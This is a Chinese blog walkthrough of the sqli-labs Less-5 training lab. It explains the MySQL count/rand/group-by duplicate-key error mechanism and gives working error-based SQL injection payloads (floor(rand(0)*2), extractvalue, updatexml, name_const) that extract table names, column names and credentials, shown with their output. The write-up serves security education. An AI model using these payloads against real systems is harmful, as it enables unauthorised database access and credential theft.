sqli-labs Less-5

2018/08/09 安全 sql注入 10682 words views

Less-5(GET-Double injection-Single Quotes-String):这个练习比较不错,主要就是基于报错的双查询注入。

0x01双查询注入

原理:

双注入查询需要理解四个函数/语句

Rand() //随机函数
Floor() //取整函数
Count() //汇总函数
Group by clause //分组语句

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如 count 函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

这里还有一个比较复杂的。叫做派生表。需要使用 select 1 from (table name) 这样的语法来报错,具体就是

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

参考: https://www.2cto.com/article/201303/192718.html

0x02 Mysql报错注入原理分析(count()、rand()、group by)

这里主要参考乌云知识库上的一篇文章:http://drops.xmd5.com/static/drops/tips-14312.html

1.位置问题

select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上 sql 注入教程,floor 都是直接放count(*) 后面,为了排除干扰,我们直接对比了两个报错语句:

mysql> select count(*),floor((rand(0)*2))x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*) from users group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

由以上可知,报错跟位置无关。

2. 绝对报错还是相对报错?

是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此。

1).我们先新建个表,新增一条记录 —> 确认表中只有一条记录后,执行报错语句 —> 多次执行均未发现报错

2).然后我们新增一条记录 —> 然后再测试下报错语句 —> 多次执行并没有报错

3).我们再增加一条 —> 执行报错语句 —> 成功报错

以上所执行的报错语句为: select count(*) from users group by floor(rand(0)*2);

由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错。

3.随机因子具有决定权么(rand()和rand(0))

为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看:

1).一条记录的话 无论执行多少次也不报错

2).然后增加一条记录 —> 两条记录的话 结果就变成不确定性了 —> 随机出现报错

3).然后再插入一条 —> 三条记录之后,也和2条记录一样进行随机报错

由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?

4.不确定性与确定性

前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从 3 我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

为了证明我们猜想,分别对floor(rand()*2)floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上):

mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               0 |
|               0 |
|               1 |
|               0 |
|               0 |
|               1 |
|               0 |
|               0 |
|               0 |
|               0 |
|               1 |
+-----------------+
12 rows in set (0.00 sec)
mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
|               1 |
|               0 |
|               0 |
|               0 |
|               1 |
|               0 |
|               0 |
|               0 |
|               0 |
|               1 |
|               0 |
+-----------------+
12 rows in set (0.00 sec)
mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               1 |
|               1 |
|               0 |
|               0 |
|               0 |
|               1 |
|               1 |
|               1 |
|               0 |
|               1 |
|               1 |
+-----------------+
12 rows in set (0.00 sec)

连续3次查询,毫无规则,接下来看看floor(rand(0)*2)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
+------------------+
12 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
+------------------+
12 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
+------------------+
12 rows in set (0.00 sec)

可以看到floor(rand(0)*2)是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。

5.count与group by的虚拟表

使用select count(*) from users group by x;这种语句的时候我们经常可以看到下面类似的结果:

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| admin    | test     |
| admin1   | admin1   |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
| ab       | cd       |
+----------+----------+
12 rows in set (0.00 sec)

mysql> select username, count(*) from users group by username;
+----------+----------+
| username | count(*) |
+----------+----------+
| ab       |       10 |
| admin    |        1 |
| admin1   |        1 |
+----------+----------+
3 rows in set (0.00 sec)

可以看出 ab 的记录有 10 条。

count(*)的结果相符合,那么mysql在遇到select count(*) from users group by x;这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

1).先建立虚拟表,如下图(其中key是主键,不可重复):

2).开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

6.floor(rand(0)*2)报错

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从 4 可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from users group by floor(rand(0)*2);的查询过程:

1).查询前默认会建立空虚拟表如下图:

2).取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在(不存在就执行插入),则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

3).查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在(存在的话直接加1),所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

4).查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5).整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

7.floor(rand()*2)报错

由 5 我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:

当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)字段的数量,所以不会报错。比如floor(rand(1)*2):

mysql> select floor(rand(1)*2) from users;
+------------------+
| floor(rand(1)*2) |
+------------------+
|                0 |
|                1 |
|                0 |
|                0 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                0 |
|                0 |
|                0 |
+------------------+
12 rows in set (0.00 sec)

在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。

注意:每一行代表的是第几次计算,所以在之前也会特地强调第几次计算的问题。

总之报错需要count(*)rand()group by,三者缺一不可。

0x03 Less-5(GET-Double injection-Single Quotes-String)

我们再回到题目上来:

加单引号/sqli/Less-5/?id=1,回显:

your sql statement is SELECT * FROM users WHERE id='1'' LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

以为和之前的一样,所以按照老套路来:

先判断有多少个字段:

' order by 3--+

发现这里有三个字段,继续尝试:

' union select 1,2, concat_ws("*",id,username, password) from users limit 2,1%23

发现并不行,即使登录成功也只是回显:

your sql statement is SELECT * FROM users WHERE id='1' union select 1,2, concat_ws("*",id,username, password) from users limit 2,1#' LIMIT 0,1
You are in...........

因此这里就不能按照常规的套路来,就要用到我们上面说到的报错注入来解这个问题:

1.尝试构造 payload:查询表名

' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a--+

回显:

your sql statement is SELECT * FROM users WHERE id='1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a-- ' LIMIT 0,1
Duplicate entry 'users:1' for key 'group_key'

2.查询字段名

' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a--+

回显:

your sql statement is SELECT * FROM users WHERE id='1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a-- ' LIMIT 0,1
Duplicate entry 'password:1' for key 'group_key'

3.查询目标数据

' union select 1,count(*),concat((select username from users limit 0,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a--+
' union select 1,count(*),concat((select password from users limit 0,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a--+

上面是将 username 和 password 分别进行查询

' union select 1,count(*),concat((select concat(username,'*',password) from users limit 2,1),0x3a,floor(RAND(0)*2))a from information_schema.tables group by a--+

0x04 Less-5 其他解法

1.使用extractvalue

extractvalue(xml_frag,xpath_expr) extractvalue()接受两个字符串参数,一个 xml 标记 xml_frag 的片段和一个 xpath 表达式 xpath_expr (也称为定位符)。这个函数返回第一个文本节点的文本。在 mysql 5.6.6 及更早版本中,xpath 表达式最多可以包含 127 个字符。这个限制在 mysql 5.6.7 中解除。我们可以在 xpath 中填写获得我们想要的信息的语句。

构造 payload:

' and 1=extractvalue(1,concat('*',(select user())))--+

回显:

your sql statement is SELECT * FROM users WHERE id='1' and 1=extractvalue(1,concat('*',(select user())))-- ' LIMIT 0,1
XPATH syntax error: 'root@localhost'

其余的就按照老套路来了,这里就不赘述了。

2.使用updatexml

updatexml(xml_target,xpath_expr,new_xml) 此函数用新的 xml 片段 new_xml 替换 xml 标记 xml_target 的给定片段的单个部分,然后返回更改的 xml。被替换的 xml_target 的部分与用户提供的 xpath 表达式 xpath_expr 匹配。在 mysql 5.6.6 及更早版本中,xpath 表达式最多可以包含 127 个字符。这个限制在 mysql 5.6.7 中解除。如果没有找到匹配 xpath_expr 的表达式,或者找到多个匹配项,函数将返回原始的 xml_target 片段。 所有三个参数应该是字符串。我们可以在 xpath 中填写获得我们想要的信息的语句。

构造 payload:

' and 1=updatexml(1,concat('*', (select database())),1)--+

回显:

your sql statement is SELECT * FROM users WHERE id='1' and 1=updatexml(1,concat('*', (select database())),1)-- ' LIMIT 0,1
XPATH syntax error: 'security'

3.使用name_const

name_const(name,value) 用于生成结果时,name_const() 会使列具有给定的名称。参数应该是常量。它和select value as name 是等价的。我们可以构造两个列使得它们名字一样并在列名中填写获得我们想要的信息的语句。

构造 payload:

' and 1=(select * from (select name_const(version(),1),name_const(version(),1))X)--+

回显:

your sql statement is SELECT * FROM users WHERE id='1' and 1=(select * from (select name_const(version(),1),name_const(version(),1))X)-- ' LIMIT 0,1
Duplicate column name '5.5.53'

上一篇: 反弹shell入门
下一篇: Git常用命令

Search

    Table of Contents